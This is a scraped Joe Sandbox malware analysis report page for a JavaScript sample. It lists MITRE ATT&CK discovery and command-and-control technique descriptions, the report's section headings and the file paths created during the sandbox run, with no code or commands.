Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5749110051971019035.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6faa7b9e-c06b-42e0-937f-98f6c4fb6cb3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5916

Windows Analysis Report
5749110051971019035.js